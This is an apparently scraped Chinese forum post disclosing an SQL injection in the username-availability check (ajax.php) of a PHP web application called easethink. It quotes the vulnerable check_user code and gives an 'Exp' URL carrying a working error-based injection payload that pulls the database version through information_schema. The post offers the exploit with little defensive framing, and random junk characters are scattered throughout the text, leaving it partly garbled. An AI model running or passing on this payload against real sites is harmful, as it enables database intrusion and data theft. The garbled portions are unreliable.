在注册的时候,输入用户名后台会验证用户名是否存在,当然是通过ajax去验证的也就是ajax.php。很多程序多会忽略这个导致存在SQL注入。( x i7 ]$ k/ a
& k( r1 y" _; E; _, n4 k
a i+ p/ ?- J& M7 d) K: T" v
0 Q U' t$ y% w5 I+ Y6 ]/ m* 验证会员数据 */ function check_user($field_name,$field_data) { //开始数据验证 $user_data[$field_name] = $field_data; $res = array('status'=>1,'info'=>'','data'=>''); //用于返回的数据 if(trim($user_data['user_name'])==''&&$field_name=='user_name') { $field_item['field_name'] = 'user_name'; $field_item['error'] = EMPTY_ERROR; $res['status'] = 0; $res['data'] = $field_item; return $res; } if($field_name=='user_name'&&$GLOBALS['db']->getOne("select count(*) from ".DB_PREFIX."user where user_name = '".trim($user_data['user_name'])."' and id <> ".intval($user_data['id']))>0)//这里的$user_data['user_name']的值就是用户名提交过来的值,这里只是过滤了空格。所有存在SQL注入漏洞。 { $field_item['field_name'] = 'user_name'; $field_item['error'] = EXIST_ERROR; $res['status'] = 0; $res['data'] = $field_item; return $res; } 2 D4 ?9 F n) j* i* Q9 V9 S- P, F
) v R! @4 o0 H: a
/ S0 M6 \% d" f" g0 T0 N' S; N, }
8 ^% {$ q( t9 K* j$ z" d- B, R
Exp:
; B* @) G. \4 v) ~. O4 o- `
# ~# w7 V; U# p6 z& Q + e: H9 j3 e; |* I: x8 K1 }
" _7 ?: q. P& O$ B# z8 X4 q: G# i
http://192.168.9.109/easethink_f ... ame&field_data=**/(select/**/1/**/from/**/(select/**/count(*),concat(version(),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)%23 : e2 i% C! K8 g% n# p
! }: |0 @) e6 d/ s6 F) K
|